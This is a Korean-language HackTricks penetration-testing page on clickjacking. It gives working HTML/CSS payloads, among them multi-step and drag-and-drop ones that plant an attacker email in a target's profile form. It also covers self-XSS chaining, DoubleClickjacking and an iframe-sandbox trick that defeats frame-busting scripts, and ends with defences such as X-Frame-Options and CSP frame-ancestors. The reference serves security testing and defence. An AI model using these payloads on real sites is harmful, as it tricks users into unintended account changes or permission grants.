Clickjacking
Reading time: 7 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
What is Clickjacking
클릭재킹 공격에서 사용자는 보이지 않거나 다른 요소로 위장된 웹페이지의 요소를 클릭하도록 속아 넘어갑니다. 이러한 조작은 사용자에게 의도치 않은 결과를 초래할 수 있으며, 예를 들어 악성 소프트웨어 다운로드, 악성 웹 페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 금전 이체, 또는 온라인 제품 구매 등이 있습니다.
Prepopulate forms trick
때때로 페이지를 로드할 때 GET 매개변수를 사용하여 양식의 필드 값을 채우는 것이 가능합니다. 공격자는 이 동작을 악용하여 임의의 데이터로 양식을 채우고 클릭재킹 페이로드를 전송하여 사용자가 제출 버튼을 누르도록 할 수 있습니다.
Populate form with Drag&Drop
사용자에게 양식을 작성하도록 요구해야 하지만 특정 정보를 직접적으로 요청하고 싶지 않은 경우(예: 알고 있는 이메일 또는 특정 비밀번호), 사용자가 Drag&Drop하여 제어된 데이터를 입력하도록 요청할 수 있습니다. 이 예제와 같이요.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
다단계 페이로드
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
드래그 앤 드롭 + 클릭 페이로드
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
사용자가 XSS를 트리거하기 위해 어떤 요소를 클릭해야 하는 XSS 공격을 식별하고 페이지가 클릭재킹에 취약하다면, 사용자를 속여 버튼/링크를 클릭하도록 할 수 있습니다.
예시:
계정의 일부 개인 정보에서 자기 XSS를 발견했습니다(정보는 오직 당신만 설정하고 읽을 수 있는 정보입니다). 이러한 세부 정보를 설정하는 양식이 클릭재킹에 취약하며 GET 매개변수로 양식을 미리 채울 수 있습니다.
공격자는 해당 페이지에 대한 클릭재킹 공격을 준비하여 XSS 페이로드로 양식을 미리 채우고 사용자를 제출하도록 속일 수 있습니다. 따라서 양식이 제출되고 값이 수정되면, 사용자는 XSS를 실행하게 됩니다.
DoubleClickjacking
먼저 이 게시물에서 설명됨, 이 기술은 피해자에게 특정 위치에 배치된 사용자 정의 페이지의 버튼을 두 번 클릭하도록 요청하며, 마우스 다운과 클릭 이벤트 간의 시간 차이를 이용해 두 번 클릭하는 동안 피해자 페이지를 로드하여 피해자가 실제로 피해자 페이지의 정당한 버튼을 클릭하게 만듭니다.
예시는 이 비디오에서 볼 수 있습니다: https://www.youtube.com/watch?v=4rGvRRMrD18
warning
이 기술은 사용자가 클릭재킹에 대한 모든 보호를 우회하여 피해자 페이지의 1곳을 클릭하도록 속일 수 있습니다. 따라서 공격자는 OAuth 권한 수락과 같이 단 1회의 클릭으로 수행할 수 있는 민감한 작업을 찾아야 합니다.
Strategies to Mitigate Clickjacking
Client-Side Defenses
클라이언트 측에서 실행되는 스크립트는 클릭재킹을 방지하기 위한 작업을 수행할 수 있습니다:
- 애플리케이션 창이 주 창 또는 상위 창인지 확인합니다.
- 모든 프레임을 표시합니다.
- 보이지 않는 프레임에서의 클릭을 방지합니다.
- 잠재적인 클릭재킹 시도에 대해 사용자에게 감지하고 경고합니다.
그러나 이러한 프레임 파괴 스크립트는 우회될 수 있습니다:
- 브라우저의 보안 설정: 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
- HTML5 iframe
sandbox
속성: 공격자는allow-top-navigation
없이allow-forms
또는allow-scripts
값으로sandbox
속성을 설정하여 프레임 파괴 스크립트를 무력화할 수 있습니다. 이는 iframe이 자신이 상위 창인지 확인하는 것을 방지합니다, 예를 들어,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms
및 allow-scripts
값은 iframe 내에서의 작업을 활성화하면서 최상위 탐색을 비활성화합니다. 공격 유형에 따라 대상 사이트의 의도된 기능을 보장하기 위해 allow-same-origin
및 allow-modals
와 같은 추가 권한이 필요할 수 있습니다. 브라우저 콘솔 메시지가 허용할 권한을 안내할 수 있습니다.
서버 측 방어
X-Frame-Options
X-Frame-Options
HTTP 응답 헤더는 브라우저에 <frame>
또는 <iframe>
에서 페이지를 렌더링하는 것의 정당성에 대해 알리며 Clickjacking을 방지하는 데 도움을 줍니다:
X-Frame-Options: deny
- 어떤 도메인도 콘텐츠를 프레임할 수 없습니다.X-Frame-Options: sameorigin
- 현재 사이트만 콘텐츠를 프레임할 수 있습니다.X-Frame-Options: allow-from https://trusted.com
- 지정된 'uri'만 페이지를 프레임할 수 있습니다.- 제한 사항에 유의하세요: 브라우저가 이 지시어를 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시어를 선호합니다.
Content Security Policy (CSP) frame-ancestors 지시어
CSP의 frame-ancestors
지시어는 Clickjacking 보호를 위한 권장 방법입니다:
frame-ancestors 'none'
-X-Frame-Options: deny
와 유사합니다.frame-ancestors 'self'
-X-Frame-Options: sameorigin
과 유사합니다.frame-ancestors trusted.com
-X-Frame-Options: allow-from
과 유사합니다.
예를 들어, 다음 CSP는 동일한 도메인에서만 프레임을 허용합니다:
Content-Security-Policy: frame-ancestors 'self';
추가 세부정보 및 복잡한 예제는 frame-ancestors CSP 문서와 Mozilla의 CSP frame-ancestors 문서에서 확인할 수 있습니다.
child-src
및 frame-src
가 포함된 Content Security Policy (CSP)
**Content Security Policy (CSP)**는 브라우저가 콘텐츠를 로드할 수 있도록 허용해야 하는 소스를 지정하여 Clickjacking 및 기타 코드 주입 공격을 방지하는 보안 조치입니다.
frame-src
지시어
- 프레임에 대한 유효한 소스를 정의합니다.
default-src
지시어보다 더 구체적입니다.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임을 허용합니다.
child-src
지시어
- 웹 워커 및 프레임에 대한 유효한 출처를 설정하기 위해 CSP 레벨 2에서 도입되었습니다.
- frame-src 및 worker-src에 대한 대체 역할을 합니다.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
이 정책은 동일 출처(자체) 및 https://trusted-website.com에서 프레임과 워커를 허용합니다.
사용 참고 사항:
- 사용 중단: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
- 대체 동작: frame-src가 없으면 child-src가 프레임에 대한 대체로 사용됩니다. 둘 다 없으면 default-src가 사용됩니다.
- 엄격한 출처 정의: 악용을 방지하기 위해 지침에 신뢰할 수 있는 출처만 포함하십시오.
JavaScript 프레임 깨기 스크립트
완전히 안전하지는 않지만, JavaScript 기반의 프레임 버스터 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예:
if (top !== self) {
top.location = self.location
}
Anti-CSRF 토큰 사용
- 토큰 검증: 웹 애플리케이션에서 anti-CSRF 토큰을 사용하여 상태 변경 요청이 사용자의 의도에 의해 이루어지고 Clickjacked 페이지를 통해 이루어지지 않도록 합니다.
참고문헌
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.